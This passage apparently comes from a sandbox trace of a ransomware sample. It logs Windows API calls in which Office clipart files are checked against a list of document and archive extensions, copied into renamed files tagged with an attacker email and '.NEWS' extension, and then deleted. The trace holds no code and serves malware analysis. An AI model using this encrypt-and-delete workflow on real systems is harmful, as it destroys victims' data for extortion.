Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.707] lstrlenW (lpString=".doc") returned 4 [0233.707] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.707] lstrlenW (lpString=".docx") returned 5 [0233.708] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0233.708] lstrlenW (lpString=".pdf") returned 4 [0233.708] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.708] lstrlenW (lpString=".xls") returned 4 [0233.708] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.708] lstrlenW (lpString=".xlsx") returned 5 [0233.708] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0233.708] lstrlenW (lpString=".ppt") returned 4 [0233.708] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.708] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.708] lstrlenW (lpString=".zip") returned 4 [0233.708] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.708] lstrlenW (lpString=".rar") returned 4 [0233.708] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.709] lstrlenW (lpString=".bz2") returned 4 [0233.709] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.709] lstrlenW (lpString=".7z") returned 3 [0233.709] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.709] lstrlenW (lpString=".dbf") returned 4 [0233.709] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.709] lstrlenW (lpString=".1cd") returned 4 [0233.709] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.709] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.709] lstrlenW (lpString=".jpg") returned 4 [0233.709] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.710] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.710] lstrlenW (lpString=".doc") returned 4 [0233.710] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0233.710] lstrlenW (lpString=".docx") returned 5 [0233.710] lstrcmpiW (lpString1=".docx", lpString2="7.MID") returned -1 [0233.710] lstrlenW (lpString=".pdf") returned 4 [0233.710] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0233.710] lstrlenW (lpString=".xls") returned 4 [0233.710] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0233.710] lstrlenW (lpString=".xlsx") returned 5 [0233.710] lstrcmpiW (lpString1=".xlsx", lpString2="7.MID") returned -1 [0233.711] lstrlenW (lpString=".ppt") returned 4 [0233.711] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0233.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.711] lstrlenW (lpString=".zip") returned 4 [0233.711] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0233.711] lstrlenW (lpString=".rar") returned 4 [0233.711] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0233.711] lstrlenW (lpString=".bz2") returned 4 [0233.711] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0233.711] lstrlenW (lpString=".7z") returned 3 [0233.711] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0233.711] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.711] lstrlenW (lpString=".dbf") returned 4 [0233.712] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0233.712] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.712] lstrlenW (lpString=".1cd") returned 4 [0233.713] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0233.713] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_07.MID") returned 63 [0233.713] lstrlenW (lpString=".jpg") returned 4 [0233.713] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0233.713] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0233.713] lstrlenW (lpString="PARNT_09.MID") returned 12 [0233.714] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0233.714] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=6764) returned 1 [0233.714] CloseHandle (hObject=0x398) returned 1 [0233.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 0x20 [0233.715] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0233.715] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0233.716] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.716] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0233.716] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0233.717] GetLastError () returned 0x0 [0233.717] ReadFile (in: hFile=0x398, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x1a6c, lpOverlapped=0x0) returned 1 [0233.855] WriteFile (in: hFile=0x384, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1a70, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x1a70, lpOverlapped=0x0) returned 1 [0233.859] ReadFile (in: hFile=0x398, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0233.859] WriteFile (in: hFile=0x384, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0233.859] SetEndOfFile (hFile=0x384) returned 1 [0234.744] CloseHandle (hObject=0x384) returned 1 [0234.744] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.744] SetEndOfFile (hFile=0x398) returned 1 [0234.752] CloseHandle (hObject=0x398) returned 1 [0234.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0234.775] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\parnt_09.mid")) returned 1 [0234.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.775] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.776] lstrlenW (lpString=".doc") returned 4 [0234.776] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.776] lstrlenW (lpString=".docx") returned 5 [0234.776] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0234.776] lstrlenW (lpString=".pdf") returned 4 [0234.776] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.776] lstrlenW (lpString=".xls") returned 4 [0234.776] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.776] lstrlenW (lpString=".xlsx") returned 5 [0234.776] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0234.776] lstrlenW (lpString=".ppt") returned 4 [0234.776] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.776] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.776] lstrlenW (lpString=".zip") returned 4 [0234.776] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.776] lstrlenW (lpString=".rar") returned 4 [0234.777] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.777] lstrlenW (lpString=".bz2") returned 4 [0234.777] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.777] lstrlenW (lpString=".7z") returned 3 [0234.777] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.777] lstrlenW (lpString=".dbf") returned 4 [0234.777] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.777] lstrlenW (lpString=".1cd") returned 4 [0234.777] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.777] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.777] lstrlenW (lpString=".jpg") returned 4 [0234.777] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.778] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.778] lstrlenW (lpString=".doc") returned 4 [0234.778] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0234.778] lstrlenW (lpString=".docx") returned 5 [0234.778] lstrcmpiW (lpString1=".docx", lpString2="9.MID") returned -1 [0234.778] lstrlenW (lpString=".pdf") returned 4 [0234.778] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0234.778] lstrlenW (lpString=".xls") returned 4 [0234.778] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0234.778] lstrlenW (lpString=".xlsx") returned 5 [0234.779] lstrcmpiW (lpString1=".xlsx", lpString2="9.MID") returned -1 [0234.779] lstrlenW (lpString=".ppt") returned 4 [0234.779] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0234.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.779] lstrlenW (lpString=".zip") returned 4 [0234.779] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0234.779] lstrlenW (lpString=".rar") returned 4 [0234.779] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0234.779] lstrlenW (lpString=".bz2") returned 4 [0234.779] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0234.779] lstrlenW (lpString=".7z") returned 3 [0234.779] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0234.779] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.779] lstrlenW (lpString=".dbf") returned 4 [0234.779] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0234.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.780] lstrlenW (lpString=".1cd") returned 4 [0234.780] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0234.780] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\PARNT_09.MID") returned 63 [0234.780] lstrlenW (lpString=".jpg") returned 4 [0234.780] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0234.781] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0234.781] lstrlenW (lpString="ROAD_01.MID") returned 11 [0234.781] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0234.782] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=5983) returned 1 [0234.782] CloseHandle (hObject=0x3c0) returned 1 [0234.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 0x20 [0234.782] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0234.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0234.783] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.783] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.783] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0234.784] GetLastError () returned 0x0 [0234.784] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x175f, lpOverlapped=0x0) returned 1 [0234.792] WriteFile (in: hFile=0x398, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x1760, lpOverlapped=0x0) returned 1 [0234.797] ReadFile (in: hFile=0x3c0, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0234.798] WriteFile (in: hFile=0x398, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xea, lpOverlapped=0x0) returned 1 [0234.798] SetEndOfFile (hFile=0x398) returned 1 [0234.798] CloseHandle (hObject=0x398) returned 1 [0234.799] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0234.799] SetEndOfFile (hFile=0x3c0) returned 1 [0236.070] CloseHandle (hObject=0x3c0) returned 1 [0236.071] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\road_01.mid")) returned 1 [0236.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.206] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.207] lstrlenW (lpString=".doc") returned 4 [0236.207] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.207] lstrlenW (lpString=".docx") returned 5 [0236.207] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0236.207] lstrlenW (lpString=".pdf") returned 4 [0236.207] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.207] lstrlenW (lpString=".xls") returned 4 [0236.207] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.207] lstrlenW (lpString=".xlsx") returned 5 [0236.207] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0236.207] lstrlenW (lpString=".ppt") returned 4 [0236.207] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.207] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.208] lstrlenW (lpString=".zip") returned 4 [0236.208] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.208] lstrlenW (lpString=".rar") returned 4 [0236.208] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.209] lstrlenW (lpString=".bz2") returned 4 [0236.209] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.209] lstrlenW (lpString=".7z") returned 3 [0236.209] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.209] lstrlenW (lpString=".dbf") returned 4 [0236.209] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.209] lstrlenW (lpString=".1cd") returned 4 [0236.209] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.209] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.209] lstrlenW (lpString=".jpg") returned 4 [0236.209] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.210] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.210] lstrlenW (lpString=".doc") returned 4 [0236.210] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.210] lstrlenW (lpString=".docx") returned 5 [0236.210] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0236.210] lstrlenW (lpString=".pdf") returned 4 [0236.210] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.210] lstrlenW (lpString=".xls") returned 4 [0236.210] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.210] lstrlenW (lpString=".xlsx") returned 5 [0236.210] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0236.211] lstrlenW (lpString=".ppt") returned 4 [0236.211] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.211] lstrlenW (lpString=".zip") returned 4 [0236.211] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0236.211] lstrlenW (lpString=".rar") returned 4 [0236.211] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0236.211] lstrlenW (lpString=".bz2") returned 4 [0236.211] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0236.211] lstrlenW (lpString=".7z") returned 3 [0236.211] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0236.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.211] lstrlenW (lpString=".dbf") returned 4 [0236.211] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0236.211] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.211] lstrlenW (lpString=".1cd") returned 4 [0236.212] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0236.212] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\ROAD_01.MID") returned 62 [0236.212] lstrlenW (lpString=".jpg") returned 4 [0236.212] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0236.212] lstrcmpiW (lpString1=".MID", lpString2=".NEWS") returned -1 [0236.212] lstrlenW (lpString="SCHOL_02.MID") returned 12 [0236.212] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0236.233] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x32eff1c | out: lpFileSize=0x32eff1c*=5058) returned 1 [0236.234] CloseHandle (hObject=0x398) returned 1 [0236.234] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 0x20 [0236.249] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[notgoodnews@tutanota.com].news")) returned 0xffffffff [0236.249] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d4 [0236.250] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0236.250] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0236.250] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid.id-9c354b42.[notgoodnews@tutanota.com].news"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0236.251] GetLastError () returned 0x0 [0236.251] ReadFile (in: hFile=0x3d4, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x13c2, lpOverlapped=0x0) returned 1 [0236.256] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0x13d0, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0x13d0, lpOverlapped=0x0) returned 1 [0236.259] ReadFile (in: hFile=0x3d4, lpBuffer=0x3e40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x32efed4, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesRead=0x32efed4*=0x0, lpOverlapped=0x0) returned 1 [0236.259] WriteFile (in: hFile=0x3a0, lpBuffer=0x3e40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x32efc9c, lpOverlapped=0x0 | out: lpBuffer=0x3e40020*, lpNumberOfBytesWritten=0x32efc9c*=0xec, lpOverlapped=0x0) returned 1 [0236.259] SetEndOfFile (hFile=0x3a0) returned 1 [0236.260] CloseHandle (hObject=0x3a0) returned 1 [0236.260] SetFilePointerEx (in: hFile=0x3d4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x32efec8 | out: lpNewFilePointer=0x0) returned 1 [0236.260] SetEndOfFile (hFile=0x3d4) returned 1 [0236.267] CloseHandle (hObject=0x3d4) returned 1 [0236.268] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID.id-9C354B42.[notgoodnews@tutanota.com].NEWS", dwFileAttributes=0x20) returned 1 [0236.268] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\schol_02.mid")) returned 1 [0236.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.269] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.269] lstrlenW (lpString=".doc") returned 4 [0236.269] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0236.269] lstrlenW (lpString=".docx") returned 5 [0236.269] lstrcmpiW (lpString1=".docx", lpString2="2.MID") returned -1 [0236.269] lstrlenW (lpString=".pdf") returned 4 [0236.269] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0236.269] lstrlenW (lpString=".xls") returned 4 [0236.270] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0236.270] lstrlenW (lpString=".xlsx") returned 5 [0236.270] lstrcmpiW (lpString1=".xlsx", lpString2="2.MID") returned -1 [0236.270] lstrlenW (lpString=".ppt") returned 4 [0236.270] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0236.541] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SCHOL_02.MID") returned 63 [0236.541] lstrlenW 